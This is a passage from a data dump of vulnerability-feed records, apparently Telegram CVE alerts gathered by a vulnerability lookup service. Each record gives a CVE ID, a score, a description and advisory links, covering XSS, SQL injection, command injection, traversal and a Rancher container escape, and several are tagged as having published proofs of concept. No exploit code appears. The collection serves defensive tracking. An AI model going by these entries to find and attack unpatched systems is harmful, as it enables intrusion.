Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22102\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Denial of Service (DoS) vulnerability in Jungo WinDriver before 12.6.0 allows local attackers to cause a Windows blue screen error.\n\ud83d\udccf Published: 2024-07-02T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-18T19:41:52.371Z\n\ud83d\udd17 References:\n1. https://jungo.com/windriver/versions/\n2. https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2024-001_en.pdf\n3. https://www.cisa.gov/news-events/ics-advisories/icsa-24-135-04", "creation_timestamp": "2025-03-18T19:48:39.000000Z"}, {"uuid": "398d87fb-9bfb-4cb1-9175-a051156b86ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22632", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8988", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22632\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Setor Informatica Sistema Inteligente para Laboratorios (S.I.L.) 388 was discovered to contain a remote code execution (RCE) vulnerability via the hmsg parameter. This vulnerability is triggered via a crafted POST request.\n\ud83d\udccf Published: 2024-04-26T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-26T20:54:27.322Z\n\ud83d\udd17 References:\n1. https://tomiodarim.io/posts/cve-2024-22632-3/", "creation_timestamp": "2025-03-26T21:25:55.000000Z"}, {"uuid": "9543a063-d511-4bf4-ab4d-5bda62c90eea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22011", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8980", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22011\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In ss_ProcessRejectComponent of ss_MmConManagement.c, there is a possible out of bounds read due to a missing bounds check. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2024-03-11T18:55:35.717Z\n\ud83d\udccf Modified: 2025-03-26T21:13:25.879Z\n\ud83d\udd17 References:\n1. https://source.android.com/security/bulletin/pixel/2024-03-01", "creation_timestamp": "2025-03-26T21:25:45.000000Z"}, {"uuid": "102fda6d-48ff-4ce6-8e64-d13a1a84aa64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22855", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9086", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22855\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A cross-site scripting (XSS) vulnerability in the User Maintenance section of ITSS iMLog v1.307 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Last Name parameter.\n\ud83d\udccf Published: 2024-06-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-27T14:23:42.076Z\n\ud83d\udd17 References:\n1. https://www.exploit-db.com/exploits/52025", "creation_timestamp": "2025-03-27T14:27:17.000000Z"}, {"uuid": "e097ffb6-4303-4fd4-90a8-8aa499e054cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22397", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9153", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22397\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in the SonicOS SSLVPN portal allows a remote authenticated attacker as a firewall 'admin' user to store and execute arbitrary JavaScript code.\n\ud83d\udccf Published: 2024-03-14T03:23:52.971Z\n\ud83d\udccf Modified: 2025-03-27T17:01:13.903Z\n\ud83d\udd17 References:\n1. https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0005", "creation_timestamp": "2025-03-27T17:26:45.000000Z"}, {"uuid": "7404b4e8-246d-4e0a-a4c7-c8b26de3bb23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22983", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9218", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22983\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: SQL injection vulnerability in Projectworlds Visitor Management System in PHP v.1.0 allows a remote attacker to escalate privileges via the name parameter in the myform.php endpoint.\n\ud83d\udccf Published: 2024-02-28T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-27T21:13:21.661Z\n\ud83d\udd17 References:\n1. http://visitor.com\n2. http://projectworlds.com\n3. https://github.com/keru6k/CVE-2024-22983/blob/main/CVE-2024-22983.md", "creation_timestamp": "2025-03-27T21:27:43.000000Z"}, {"uuid": "b8cd68d2-22ff-402b-8096-c175064612f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22344", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9448", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22344\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: IBM TXSeries for Multiplatforms 8.2 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.  IBM X-Force ID:  280191.\n\ud83d\udccf Published: 2024-05-10T17:41:53.307Z\n\ud83d\udccf Modified: 2025-03-28T20:01:07.010Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7150667\n2. https://exchange.xforce.ibmcloud.com/vulnerabilities/280191", "creation_timestamp": "2025-03-28T20:28:47.000000Z"}, {"uuid": "25513ee0-d4a8-4420-a4e4-e1b173695aa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22036", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11997", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22036\n\ud83d\udd25 CVSS Score: 9.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: A vulnerability has been identified within Rancher where a cluster or node driver can be used to escape the chroot\n jail and gain root access to the Rancher container itself. In \nproduction environments, further privilege escalation is possible based \non living off the land within the Rancher container itself. For the test\n and development environments, based on a \u2013privileged Docker container, \nit is possible to escape the Docker container and gain execution access \non the host system.\n\n\nThis issue affects rancher: from 2.7.0 before 2.7.16, from 2.8.0 before 2.8.9, from 2.9.0 before 2.9.3.\n\ud83d\udccf Published: 2025-04-16T08:37:54.218Z\n\ud83d\udccf Modified: 2025-04-16T08:37:54.218Z\n\ud83d\udd17 References:\n1. https://bugzilla.suse.com/show_bug.cgi?id=CVE-2024-22036\n2. https://github.com/rancher/rancher/security/advisories/GHSA-h99m-6755-rgwc", "creation_timestamp": "2025-04-16T08:55:56.000000Z"}, {"uuid": "3aabfa5a-0b12-4071-8324-83ab7d8134f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22851", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11945", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22851\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Directory Traversal Vulnerability in LiveConfig before v.2.5.2 allows a remote attacker to obtain sensitive information via a crafted request to the /static/ endpoint.\n\ud83d\udccf Published: 2024-02-02T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-15T22:15:31.375Z\n\ud83d\udd17 References:\n1. https://www.drive-byte.de/en/blog/liveconfig-advisory-cve-2024-22851\n2. https://www.liveconfig.com/de/kb/cve/cve-2024-22851/\n3. https://raeph123.github.io/BlogPosts/LiveConfig/LiveConfig_Advisory_CVE-2024-22851_en.html", "creation_timestamp": "2025-04-15T22:55:46.000000Z"}, {"uuid": "d89e9e66-0f3e-437c-82c7-9abd0bdded2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22008", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12086", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22008\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In config_gov_time_windows of tmu.c, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2024-03-11T18:55:35.260Z\n\ud83d\udccf Modified: 2025-04-16T15:45:37.989Z\n\ud83d\udd17 References:\n1. https://source.android.com/security/bulletin/pixel/2024-03-01", "creation_timestamp": "2025-04-16T15:56:17.000000Z"}, {"uuid": "abf95c8d-aa86-429a-a846-6ab411ace989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22406", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12139", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-27892\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Shopware prior to version 6.5.8.13 is affected by a SQL injection vulnerability in the /api/search/order endpoint. NOTE: this issue exists because of a CVE-2024-22406 and CVE-2024-42357 regression.\n\ud83d\udccf Published: 2025-04-15T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-16T18:32:23.303Z\n\ud83d\udd17 References:\n1. https://github.com/shopware/shopware/security/advisories/GHSA-8g35-7rmw-7f59\n2. https://www.redteam-pentesting.de/en/advisories/rt-sa-2025-001/", "creation_timestamp": "2025-04-16T18:56:18.000000Z"}, {"uuid": "425662cc-8eb8-40b8-a9f5-2f5d5a73c343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22393", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12910", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22393\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Unrestricted Upload of File with Dangerous Type vulnerability in Apache Answer.This issue affects Apache Answer: through 1.2.1.\n\nPixel Flood Attack by uploading large pixel files will cause server out of memory. A logged-in user\u00a0can cause such an attack by uploading an image when posting content.\nUsers are recommended to upgrade to version [1.2.5], which fixes the issue.\n\ud83d\udccf Published: 2024-02-22T09:51:43.432Z\n\ud83d\udccf Modified: 2025-04-22T16:20:44.318Z\n\ud83d\udd17 References:\n1. https://lists.apache.org/thread/f58l6dr4r74hl6o71gn47kmn44vw12cv\n2. http://www.openwall.com/lists/oss-security/2024/02/22/1", "creation_timestamp": "2025-04-22T17:03:35.000000Z"}, {"uuid": "57afa52f-b309-446b-ac1c-43e2d11f15cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22351", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13161", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22351\n\ud83d\udd25 CVSS Score: 6.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: IBM InfoSphere Information 11.7 Server does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system.\n\ud83d\udccf Published: 2025-04-23T22:15:49.142Z\n\ud83d\udccf Modified: 2025-04-23T22:15:49.142Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7229921", "creation_timestamp": "2025-04-23T23:05:06.000000Z"}, {"uuid": "4f923cf8-abcc-46a9-a766-47e3be4fd880", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22224", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15439", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22224\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: \nDell Unity, versions prior to 5.4, contains an OS Command Injection Vulnerability in its svc_nas utility. An authenticated attacker could potentially exploit this vulnerability, escaping the restricted shell and execute arbitrary operating system commands with root privileges.\n\n\n\ud83d\udccf Published: 2024-02-12T18:48:31.147Z\n\ud83d\udccf Modified: 2025-05-07T20:56:14.715Z\n\ud83d\udd17 References:\n1. https://www.dell.com/support/kbdoc/en-us/000222010/dsa-2024-042-dell-unity-dell-unity-vsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities", "creation_timestamp": "2025-05-07T21:22:56.000000Z"}, {"uuid": "02137269-7722-4a02-b793-561fdcdb65ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22225", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15438", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22225\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: \nDell Unity, versions prior to 5.4, contains an OS Command Injection Vulnerability in its svc_supportassist utility. An authenticated attacker could potentially exploit this vulnerability, leading to execution of arbitrary operating system commands with root privileges.\n\n\n\ud83d\udccf Published: 2024-02-12T18:51:34.460Z\n\ud83d\udccf Modified: 2025-05-07T20:56:36.736Z\n\ud83d\udd17 References:\n1. https://www.dell.com/support/kbdoc/en-us/000222010/dsa-2024-042-dell-unity-dell-unity-vsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities", "creation_timestamp": "2025-05-07T21:22:55.000000Z"}, {"uuid": "2643de14-9b2a-437c-95ce-c57739a097e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22306", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16536", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22306\n\ud83d\udd25 CVSS Score: 5.9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Hometory Mang Board WP allows Stored XSS.This issue affects Mang Board WP: from n/a through 1.7.7.\n\n\n\ud83d\udccf Published: 2024-01-31T16:53:47.304Z\n\ud83d\udccf Modified: 2025-05-15T16:04:25.469Z\n\ud83d\udd17 References:\n1. https://patchstack.com/database/vulnerability/mangboard/wordpress-mang-board-wp-plugin-1-7-7-cross-site-scripting-xss-vulnerability?_s_id=cve", "creation_timestamp": "2025-05-15T16:35:31.000000Z"}, {"uuid": "50821e45-e55f-4b55-bd75-76803d809b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22430", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15407", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22430\n\ud83d\udd25 CVSS Score: 5.5 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: \nDell PowerScale OneFS versions 8.2.x through 9.6.0.x contains an incorrect default permissions vulnerability. A local low privileges malicious user could potentially exploit this vulnerability, leading to denial of service.\n\n\n\ud83d\udccf Published: 2024-02-01T09:52:17.907Z\n\ud83d\udccf Modified: 2025-05-07T20:12:40.636Z\n\ud83d\udd17 References:\n1. https://www.dell.com/support/kbdoc/en-us/000221707/dsa-2024-028-security-update-for-dell-powerscale-onefs-for-multiple-security-vulnerabilities", "creation_timestamp": "2025-05-07T20:22:45.000000Z"}, {"uuid": "c2d49230-245a-43fb-8741-975b466d29df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22320", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15413", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22320\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: IBM Operational Decision Manager 8.10.3 could allow a remote authenticated attacker to execute arbitrary code on the system, caused by an unsafe deserialization. By sending specially crafted request, an attacker could exploit this vulnerability to execute arbitrary code in the context of SYSTEM.  IBM X-Force ID:  279146.\n\ud83d\udccf Published: 2024-02-02T02:16:32.962Z\n\ud83d\udccf Modified: 2025-05-07T20:09:19.584Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7112382\n2. https://exchange.xforce.ibmcloud.com/vulnerabilities/279146", "creation_timestamp": "2025-05-07T20:22:54.000000Z"}, {"uuid": "63bbb22d-388a-432f-b0e5-03d54724bc81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22228", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15436", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22228\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: \nDell Unity, versions prior to 5.4, contains an OS Command Injection Vulnerability in its svc_cifssupport utility. An authenticated attacker could potentially exploit this vulnerability, escaping the restricted shell and execute arbitrary operating system commands with root privileges.\n\n\n\ud83d\udccf Published: 2024-02-12T18:40:56.704Z\n\ud83d\udccf Modified: 2025-05-07T20:57:17.073Z\n\ud83d\udd17 References:\n1. https://www.dell.com/support/kbdoc/en-us/000222010/dsa-2024-042-dell-unity-dell-unity-vsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities", "creation_timestamp": "2025-05-07T21:22:53.000000Z"}, {"uuid": "a7a3e1f8-a25e-485c-a82e-54aa34b4a4d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22227", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15437", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22227\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: \nDell Unity, versions prior to 5.4, contains an OS Command Injection Vulnerability in its svc_dc utility. An authenticated attacker could potentially exploit this vulnerability, leading to the ability execute commands with root privileges.\n\n\n\ud83d\udccf Published: 2024-02-12T18:37:41.561Z\n\ud83d\udccf Modified: 2025-05-07T20:56:55.848Z\n\ud83d\udd17 References:\n1. https://www.dell.com/support/kbdoc/en-us/000222010/dsa-2024-042-dell-unity-dell-unity-vsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities", "creation_timestamp": "2025-05-07T21:22:54.000000Z"}, {"uuid": "42b1f243-406b-4982-9d0a-1f6233702bbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22223", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15440", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22223\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: \nDell Unity, versions prior to 5.4, contains an OS Command Injection Vulnerability within its svc_cbr utility. An authenticated malicious user with local access could potentially exploit this vulnerability, leading to the execution of arbitrary OS commands on the application's underlying OS, with the privileges of the vulnerable application.\n\n\n\ud83d\udccf Published: 2024-02-12T19:07:05.811Z\n\ud83d\udccf Modified: 2025-05-07T20:55:48.506Z\n\ud83d\udd17 References:\n1. https://www.dell.com/support/kbdoc/en-us/000222010/dsa-2024-042-dell-unity-dell-unity-vsa-and-dell-unity-xt-security-update-for-multiple-vulnerabilities", "creation_timestamp": "2025-05-07T21:22:57.000000Z"}, {"uuid": "0a607775-0b80-4356-a98f-cdd2201bdc22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22096", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15832", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22096\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: In Rapid Software LLC's Rapid SCADA versions prior to\u00a0Version 5.8.4,\u00a0an attacker can append path traversal characters to the filename when using a specific command, allowing them to read arbitrary files from the system.\n\n\ud83d\udccf Published: 2024-02-01T23:15:06.983Z\n\ud83d\udccf Modified: 2025-05-09T19:00:04.477Z\n\ud83d\udd17 References:\n1. https://www.cisa.gov/news-events/ics-advisories/icsa-24-011-03\n2. https://rapidscada.org/contact/", "creation_timestamp": "2025-05-09T19:26:28.000000Z"}, {"uuid": "c105a6ab-ef9b-4d52-8400-13116bbaccf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15590", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22515\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Unrestricted File Upload vulnerability in iSpyConnect.com Agent DVR 5.1.6.0 allows attackers to upload arbitrary files via the upload audio component.\n\ud83d\udccf Published: 2024-02-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T19:08:08.770Z\n\ud83d\udd17 References:\n1. https://github.com/Orange-418/CVE-2024-22515-File-Upload-Vulnerability", "creation_timestamp": "2025-05-08T19:24:08.000000Z"}, {"uuid": "e0de228f-648a-4b75-baaa-2628d388bd3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22293", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16537", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22293\n\ud83d\udd25 CVSS Score: 7.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Andrea Tarantini BP Profile Search allows Reflected XSS.This issue affects BP Profile Search: from n/a through 5.5.\n\n\n\ud83d\udccf Published: 2024-01-31T17:33:39.352Z\n\ud83d\udccf Modified: 2025-05-15T16:03:37.325Z\n\ud83d\udd17 References:\n1. https://patchstack.com/database/vulnerability/bp-profile-search/wordpress-bp-profile-search-plugin-5-5-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "creation_timestamp": "2025-05-15T16:35:32.000000Z"}, {"uuid": "e98fef59-70d5-4cc7-999e-ab1980e14f88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22158", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/16538", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22158\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PeepSo Community by PeepSo \u2013 Social Network, Membership, Registration, User Profiles allows Stored XSS.This issue affects Community by PeepSo \u2013 Social Network, Membership, Registration, User Profiles: from n/a before 6.3.1.0.\n\n\n\ud83d\udccf Published: 2024-01-31T18:15:01.070Z\n\ud83d\udccf Modified: 2025-05-15T16:03:10.357Z\n\ud83d\udd17 References:\n1. https://patchstack.com/database/vulnerability/peepso-photos/wordpress-peepso-photos-add-on-plugin-6-3-1-0-cross-site-scripting-xss-vulnerability?_s_id=cve", "creation_timestamp": "2025-05-15T16:35:33.000000Z"}, {"uuid": "f18ab6c1-a164-49d1-b2c5-eb62c3e58f22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22402", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17745", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22402\n\ud83d\udd25 CVSS Score: 5.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N)\n\ud83d\udd39 Description: Nextcloud guests app is a utility to create guest users which can only see files shared with them. In affected versions users were able to load the first page of apps they were actually not allowed to access. Depending on the selection of apps installed this may present a permissions bypass. It is recommended that the Guests app is upgraded to 2.4.1, 2.5.1 or 3.0.1. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2024-01-18T20:23:54.714Z\n\ud83d\udccf Modified: 2025-06-09T18:46:12.916Z\n\ud83d\udd17 References:\n1. https://github.com/nextcloud/security-advisories/security/advisories/GHSA-v3qw-7vgv-2fxj\n2. https://github.com/nextcloud/guests/pull/1082\n3. https://hackerone.com/reports/2251074", "creation_timestamp": "2025-06-09T19:48:04.000000Z"}, {"uuid": "dbf7c034-fffb-4489-a1f2-cf5b9d4a20ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2279", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17231", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-2279\n\ud83d\udd25 CVSS Score: 8.7 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N)\n\ud83d\udd39 Description: An issue has been discovered in GitLab CE/EE affecting all versions starting from 16.7 to 16.8.6 all versions starting from 16.9 before 16.9.4, all versions starting from 16.10 before 16.10.2. Using the autocomplete for issues references feature a crafted payload may lead to a stored XSS, allowing attackers to perform arbitrary actions on behalf of victims.\n\ud83d\udccf Published: 2024-04-12T00:53:21.240Z\n\ud83d\udccf Modified: 